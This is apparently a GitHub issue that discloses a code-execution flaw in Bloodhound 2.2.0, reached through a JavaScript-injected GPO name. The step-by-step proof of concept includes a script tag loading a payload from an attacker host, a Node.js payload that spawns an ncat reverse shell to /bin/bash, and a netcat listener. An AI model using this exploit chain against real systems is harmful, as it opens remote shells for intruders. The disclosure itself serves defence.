Skip to content

Code execution in Bloodhound via malicious AD Object #267

@6661620a

Description

@6661620a

Dear Bloodhound Team –

I identified a way to achieve code execution in Bloodhound 2.2.0 by creating a GPO with a name containing JavaScript code that will trigger in Bloodhound's search-autocomplete function. The injected JavaScript is not only a valid xss but also allows the creation of a child process.

The following steps are required to reproduce the vulnerability with a simple reverse shell using ncat:

  1. Create a GPO with the following name:
    aaaaaa<SCRIPT SRC="http://<attacker host>:<some port>/poc.js">

  2. Run Sharphound
    Invoke-BloodHound -Stealth

  3. Import collected data

  4. Host the following js payload as POC.JS (all uppercase is important here since the sharphound output json always has the value for the name field in upper case)
    const { spawn } = require('child_process');
    spawn('ncat', ['-e', '/bin/bash', '<attacker host>', '<some port>']);

e.g. with python -m SimpleHTTPServer <some port>

  1. Start listener
    nc -v -l -p <some port>

  2. Search for "aa" in Bloodhound and catch the shell

I suppose there is still a lot of room for improving the actual exploit. Probably there are better strings to make it trigger on than "aaaaa" and I also would not consider JavaScript as one of my strengths but I hope I could prove my point here :)

I also made a video
Vimeo Bloodhound PoC

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions